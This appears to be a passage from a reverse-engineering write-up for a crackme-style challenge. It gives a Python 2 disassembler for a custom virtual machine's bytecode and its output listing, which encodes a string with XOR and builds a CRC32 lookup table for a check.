,1,20,4,1,2,0,0,0,48,2,9,182,76,43,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,52,2,126,177,124,189,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,56,2,231,184,45,7,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,60,2,144,191,29,145,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,64,2,29,183,16,100,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,68,2,106,176,32,242,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,72,2,243,185,113,72,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,76,2,132,190,65,222,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,80,2,26,218,212,125,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,84,2,109,221,228,235,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,88,2,244,212,181,81,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,92,2,131,211,133,199,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,96,2,19,108,152,86,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,100,2,100,107,168,192,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,104,2,253,98,249,122,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,108,2,138,101,201,236,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,112,2,20,1,92,79,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,116,2,99,6,108,217,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,120,2,250,15,61,99,2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,124,2,141,8,13,245,2,4,3,2,255,255,251,248,1,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assembler.py```python#!/usr/bin/python2bytecode = [("push",1),("mov",2),("sub",2),("call",1),("add",2),("tst",2),("brne",1),("brk",1),("brnz",1),("movsx",2),("xor",2),("div",1),("or",2),("pop",1),("ret",1),("breq",1),("and",2),("sar",2)]dataHandlers = [("Register",3),("Immediate32",4),("*Int8",-1),("*Int32",-1)]
f = open("ba.txt","r")code = f.read()c = code.split(',')out = ""i = 0byteCnt = 0
def getArgs(type): global i, byteCnt if type[0] == dataHandlers[1][0]: o=0 nn = type[1] while nn: nn-=1 i+=1 byteCnt +=1 o+=pow(2,8*nn)*int(c[i]) if hex(o & 0xFFFFFFFF)[-1] == 'L': return hex(o & 0xFFFFFFFF)[:-1] else: return hex(o & 0xFFFFFFFF)
o = type[0]+"(" nn = type[1] if nn == -1: i+=1 byteCnt +=1 nn = int(c[i]) while nn: i+=1 byteCnt +=1 o+=getArgs(dataHandlers[int(c[i])-1])+", " nn-=1 else: while nn: i+=1 byteCnt +=1 o+=c[i]+", " nn-=1 o = o[:-2]+")" return o
while i < len(c): if c[i]==0: i+=1 continue line = "{0:#06x} ".format(i) inst = bytecode[int(c[i])-1] i+=1 byteCnt = 1 line += inst[0]+" " n = inst[1] while n: line += getArgs(dataHandlers[int(c[i])-1])+", " n-=1 i+=1 byteCnt+=1 line = line[:-2] print line,"\t"*((100-len(line))/4),",".join(c[i-byteCnt:i]) if i>=7254: break```Output```0x0000 push Register(20, 4, 1) 1,1,20,4,10x0005 mov Register(20, 4, 1), Register(16, 4, 1) 2,1,20,4,1,1,16,4,10x000e sub Register(16, 4, 1), 0x2c 3,1,16,4,1,2,0,0,0,440x0018 push Register(24, 4, 1) 1,1,24,4,10x001d mov *Int8(0xffffffd4, Register(20, 4, 1)), 0x73 2,3,2,2,255,255,255,212,1,20,4,1,2,0,0,0,1150x002e mov *Int8(0xffffffd4, Register(20, 4, 1), 0x1), 0x14 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,1,2,0,0,0,200x0044 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x2), 0x20 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,2,2,0,0,0,320x005a mov *Int8(0xffffffd4, Register(20, 4, 1), 0x3), 0x17 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,3,2,0,0,0,230x0070 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x4), 0x2 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,4,2,0,0,0,20x0086 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x5), 0x62 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,5,2,0,0,0,980x009c mov *Int8(0xffffffd4, Register(20, 4, 1), 0x6), 0x2a 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,6,2,0,0,0,420x00b2 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x7), 0x77 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,7,2,0,0,0,1190x00c8 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x8), 0x79 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,8,2,0,0,0,1210x00de mov *Int8(0xffffffd4, Register(20, 4, 1), 0x9), 0x1d 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,9,2,0,0,0,290x00f4 mov *Int8(0xffffffd4, Register(20, 4, 1), 0xa), 0x21 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,10,2,0,0,0,330x010a mov *Int8(0xffffffd4, Register(20, 4, 1), 0xb), 0x71 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,11,2,0,0,0,1130x0120 mov *Int8(0xffffffd4, Register(20, 4, 1), 0xc), 0x70 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,12,2,0,0,0,1120x0136 mov *Int8(0xffffffd4, Register(20, 4, 1), 0xd), 0x67 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,13,2,0,0,0,1030x014c mov *Int8(0xffffffd4, Register(20, 4, 1), 0xe), 0x5e 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,14,2,0,0,0,940x0162 mov *Int8(0xffffffd4, Register(20, 4, 1), 0xf), 0x6 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,15,2,0,0,0,60x0178 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x10), 0x0 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,16,2,0,0,0,00x018e mov *Int8(0xffffffd4, Register(20, 4, 1), 0x11), 0x1e 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,17,2,0,0,0,300x01a4 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x12), 0x5b 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,18,2,0,0,0,910x01ba mov *Int8(0xffffffd4, Register(20, 4, 1), 0x13), 0x71 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,19,2,0,0,0,1130x01d0 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x14), 0x7d 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,20,2,0,0,0,1250x01e6 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x15), 0x67 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,21,2,0,0,0,1030x01fc mov *Int8(0xffffffd4, Register(20, 4, 1), 0x16), 0x5f 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,22,2,0,0,0,950x0212 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x17), 0x71 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,23,2,0,0,0,1130x0228 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x18), 0x7b 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,24,2,0,0,0,1230x023e mov *Int8(0xffffffd4, Register(20, 4, 1), 0x19), 0x6f 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,25,2,0,0,0,1110x0254 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x1a), 0x50 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,26,2,0,0,0,800x026a mov *Int8(0xffffffd4, Register(20, 4, 1), 0x1b), 0x2 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,27,2,0,0,0,20x0280 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x1c), 0x77 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,28,2,0,0,0,1190x0296 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x1d), 0x67 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,29,2,0,0,0,1030x02ac mov *Int8(0xffffffd4, Register(20, 4, 1), 0x1e), 0x5a 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,30,2,0,0,0,900x02c2 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x1f), 0x73 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,31,2,0,0,0,1150x02d8 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x20), 0x9 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,32,2,0,0,0,90x02ee mov *Int8(0xffffffd4, Register(20, 4, 1), 0x21), 0x19 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,33,2,0,0,0,250x0304 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x22), 0x27 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,34,2,0,0,0,390x031a mov *Int8(0xffffffd4, Register(20, 4, 1), 0x23), 0x1 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,35,2,0,0,0,10x0330 mov *Int8(0xffffffd4, Register(20, 4, 1), 0x24), 0x5 2,3,3,2,255,255,255,212,1,20,4,1,2,0,0,0,36,2,0,0,0,50x0346 push 0x8 1,2,0,0,0,80x034c mov Register(0, 4, 1), *Int32(0x8, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,0,0,0,8,1,20,4,10x035c push Register(0, 4, 1) 1,1,0,4,10x0361 push 0x12345678 1,2,18,52,86,1200x0367 call 0x4c7 4,2,0,0,4,1990x036d add Register(16, 4, 1), 0xc 5,1,16,4,1,2,0,0,0,120x0377 tst Register(0, 4, 1), 0x33e5ae40 6,1,0,4,1,2,51,229,174,640x0381 brne 0x4a4 7,2,0,0,4,1640x0387 mov *Int32(0xfffffffc, Register(20, 4, 1)), 0x0 2,4,2,2,255,255,255,252,1,20,4,1,2,0,0,0,00x0398 mov *Int32(0xfffffffc, Register(20, 4, 1)), 0x0 2,4,2,2,255,255,255,252,1,20,4,1,2,0,0,0,00x03a9 brk 0x3d9 8,2,0,0,3,2170x03af mov Register(4, 4, 1), *Int32(0xfffffffc, Register(20, 4, 1)) 2,1,4,4,1,4,2,2,255,255,255,252,1,20,4,10x03bf add Register(4, 4, 1), 0x1 5,1,4,4,1,2,0,0,0,10x03c9 mov *Int32(0xfffffffc, Register(20, 4, 1)), Register(4, 4, 1) 2,4,2,2,255,255,255,252,1,20,4,1,1,4,4,10x03d9 tst *Int32(0xfffffffc, Register(20, 4, 1)), 0x25 6,4,2,2,255,255,255,252,1,20,4,1,2,0,0,0,370x03ea brnz 0x495 9,2,0,0,4,1490x03f0 mov Register(8, 4, 1), *Int32(0xfffffffc, Register(20, 4, 1)) 2,1,8,4,1,4,2,2,255,255,255,252,1,20,4,10x0400 movsx Register(4, 4, 1), *Int8(0xffffffd4, Register(20, 4, 1), Register(8, 4, 1)) 10,1,4,4,1,3,3,2,255,255,255,212,1,20,4,1,1,8,4,10x0414 mov Register(0, 4, 1), *Int32(0xfffffffc, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,255,255,255,252,1,20,4,10x0424 xor Register(8, 4, 1), Register(8, 4, 1) 11,1,8,4,1,1,8,4,10x042d mov Register(24, 4, 1), 0x8 2,1,24,4,1,2,0,0,0,80x0437 div Register(24, 4, 1) 12,1,24,4,10x043c mov Register(0, 4, 1), *Int32(0x8, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,0,0,0,8,1,20,4,10x044c movsx Register(8, 4, 1), *Int8(Register(0, 4, 1), Register(8, 4, 1)) 10,1,8,4,1,3,2,1,0,4,1,1,8,4,10x045b xor Register(4, 4, 1), Register(8, 4, 1) 11,1,4,4,1,1,8,4,10x0464 mov Register(0, 4, 1), *Int32(0xc, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,0,0,0,12,1,20,4,10x0474 add Register(0, 4, 1), *Int32(0xfffffffc, Register(20, 4, 1)) 5,1,0,4,1,4,2,2,255,255,255,252,1,20,4,10x0484 mov *Int8(Register(0, 4, 1)), Register(7, 1, 1) 2,3,1,1,0,4,1,1,7,1,10x048f brk 0x3af 8,2,0,0,3,1750x0495 xor Register(0, 4, 1), Register(0, 4, 1) 11,1,0,4,1,1,0,4,10x049e brk 0x4ae 8,2,0,0,4,1740x04a4 or Register(0, 4, 1), 0xffffffff 13,1,0,4,1,2,255,255,255,2550x04ae pop Register(24, 4, 1) 14,1,24,4,10x04b3 mov Register(16, 4, 1), Register(20, 4, 1) 2,1,16,4,1,1,20,4,10x04bc pop Register(20, 4, 1) 14,1,20,4,10x04c1 ret 0x0 15,2,0,0,0,00x04c7 push Register(20, 4, 1) 1,1,20,4,10x04cc mov Register(20, 4, 1), Register(16, 4, 1) 2,1,20,4,1,1,16,4,10x04d5 sub Register(16, 4, 1), 0x408 3,1,16,4,1,2,0,0,4,80x04df mov *Int32(0xfffffbf8, Register(20, 4, 1)), 0x0 2,4,2,2,255,255,251,248,1,20,4,1,2,0,0,0,00x04f0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x4), 0x77073096 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,4,2,119,7,48,1500x0506 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x8), 0xee0e612c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,8,2,238,14,97,440x051c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xc), 0x990951ba 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,12,2,153,9,81,1860x0532 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x10), 0x76dc419 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,16,2,7,109,196,250x0548 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x14), 0x706af48f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,20,2,112,106,244,1430x055e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x18), 0xe963a535 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,24,2,233,99,165,530x0574 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x1c), 0x9e6495a3 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,28,2,158,100,149,1630x058a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x20), 0xedb8832 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,32,2,14,219,136,500x05a0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x24), 0x79dcb8a4 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,36,2,121,220,184,1640x05b6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x28), 0xe0d5e91e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,40,2,224,213,233,300x05cc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x2c), 0x97d2d988 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,44,2,151,210,217,1360x05e2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x30), 0x9b64c2b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,48,2,9,182,76,430x05f8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x34), 0x7eb17cbd 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,52,2,126,177,124,1890x060e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x38), 0xe7b82d07 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,56,2,231,184,45,70x0624 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x3c), 0x90bf1d91 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,60,2,144,191,29,1450x063a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x40), 0x1db71064 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,64,2,29,183,16,1000x0650 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x44), 0x6ab020f2 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,68,2,106,176,32,2420x0666 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x48), 0xf3b97148 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,72,2,243,185,113,720x067c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x4c), 0x84be41de 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,76,2,132,190,65,2220x0692 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x50), 0x1adad47d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,80,2,26,218,212,1250x06a8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x54), 0x6ddde4eb 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,84,2,109,221,228,2350x06be mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x58), 0xf4d4b551 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,88,2,244,212,181,810x06d4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x5c), 0x83d385c7 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,92,2,131,211,133,1990x06ea mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x60), 0x136c9856 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,96,2,19,108,152,860x0700 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x64), 0x646ba8c0 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,100,2,100,107,168,1920x0716 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x68), 0xfd62f97a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,104,2,253,98,249,1220x072c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x6c), 0x8a65c9ec 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,108,2,138,101,201,2360x0742 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x70), 0x14015c4f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,112,2,20,1,92,790x0758 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x74), 0x63066cd9 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,116,2,99,6,108,2170x076e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x78), 0xfa0f3d63 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,120,2,250,15,61,990x0784 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x7c), 0x8d080df5 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,124,2,141,8,13,2450x079a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x80), 0x3b6e20c8 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,128,2,59,110,32,2000x07b0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x84), 0x4c69105e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,132,2,76,105,16,940x07c6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x88), 0xd56041e4 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,136,2,213,96,65,2280x07dc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x8c), 0xa2677172 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,140,2,162,103,113,1140x07f2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x90), 0x3c03e4d1 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,144,2,60,3,228,2090x0808 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x94), 0x4b04d447 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,148,2,75,4,212,710x081e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x98), 0xd20d85fd 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,152,2,210,13,133,2530x0834 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x9c), 0xa50ab56b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,156,2,165,10,181,1070x084a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xa0), 0x35b5a8fa 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,160,2,53,181,168,2500x0860 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xa4), 0x42b2986c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,164,2,66,178,152,1080x0876 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xa8), 0xdbbbc9d6 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,168,2,219,187,201,2140x088c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xac), 0xacbcf940 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,172,2,172,188,249,640x08a2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xb0), 0x32d86ce3 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,176,2,50,216,108,2270x08b8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xb4), 0x45df5c75 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,180,2,69,223,92,1170x08ce mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xb8), 0xdcd60dcf 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,184,2,220,214,13,2070x08e4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xbc), 0xabd13d59 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,188,2,171,209,61,890x08fa mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xc0), 0x26d930ac 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,192,2,38,217,48,1720x0910 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xc4), 0x51de003a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,196,2,81,222,0,580x0926 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xc8), 0xc8d75180 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,200,2,200,215,81,1280x093c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xcc), 0xbfd06116 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,204,2,191,208,97,220x0952 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xd0), 0x21b4f4b5 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,208,2,33,180,244,1810x0968 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xd4), 0x56b3c423 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,212,2,86,179,196,350x097e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xd8), 0xcfba9599 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,216,2,207,186,149,1530x0994 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xdc), 0xb8bda50f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,220,2,184,189,165,150x09aa mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xe0), 0x2802b89e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,224,2,40,2,184,1580x09c0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xe4), 0x5f058808 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,228,2,95,5,136,80x09d6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xe8), 0xc60cd9b2 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,232,2,198,12,217,1780x09ec mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xec), 0xb10be924 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,236,2,177,11,233,360x0a02 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xf0), 0x2f6f7c87 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,240,2,47,111,124,1350x0a18 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xf4), 0x58684c11 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,244,2,88,104,76,170x0a2e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xf8), 0xc1611dab 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,248,2,193,97,29,1710x0a44 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0xfc), 0xb6662d3d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,0,252,2,182,102,45,610x0a5a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x100), 0x76dc4190 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,0,2,118,220,65,1440x0a70 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x104), 0x1db7106 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,4,2,1,219,113,60x0a86 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x108), 0x98d220bc 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,8,2,152,210,32,1880x0a9c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x10c), 0xefd5102a 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,12,2,239,213,16,420x0ab2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x110), 0x71b18589 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,16,2,113,177,133,1370x0ac8 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x114), 0x6b6b51f 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,20,2,6,182,181,310x0ade mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x118), 0x9fbfe4a5 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,24,2,159,191,228,1650x0af4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x11c), 0xe8b8d433 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,28,2,232,184,212,510x0b0a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x120), 0x7807c9a2 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,32,2,120,7,201,1620x0b20 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x124), 0xf00f934 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,36,2,15,0,249,520x0b36 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x128), 0x9609a88e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,40,2,150,9,168,1420x0b4c mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x12c), 0xe10e9818 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,44,2,225,14,152,240x0b62 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x130), 0x7f6a0dbb 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,48,2,127,106,13,1870x0b78 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x134), 0x86d3d2d 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,52,2,8,109,61,450x0b8e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x138), 0x91646c97 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,56,2,145,100,108,1510x0ba4 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x13c), 0xe6635c01 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,60,2,230,99,92,10x0bba mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x140), 0x6b6b51f4 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,64,2,107,107,81,2440x0bd0 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x144), 0x1c6c6162 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,68,2,28,108,97,980x0be6 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x148), 0x856530d8 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,72,2,133,101,48,2160x0bfc mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x14c), 0xf262004e 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,76,2,242,98,0,780x0c12 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x150), 0x6c0695ed 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,80,2,108,6,149,2370x0c28 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x154), 0x1b01a57b 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,84,2,27,1,165,1230x0c3e mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x158), 0x8208f4c1 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,88,2,130,8,244,1930x0c54 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x15c), 0xf50fc457 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,92,2,245,15,196,870x0c6a mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x160), 0x65b0d9c6 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,96,2,101,176,217,1980x0c80 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x164), 0x12b7e950 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,100,2,18,183,233,800x0c96 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x168), 0x8bbeb8ea 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,104,2,139,190,184,2340x0cac mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x16c), 0xfcb9887c 2,4,3,2,255,255,251,248,1,20,4,1,2,0,0,1,108,2,252,185,136,1240x0cc2 mov *Int32(0xfffffbf8, Register(20, 4, 1), 0x170), 0x62dd1ddf 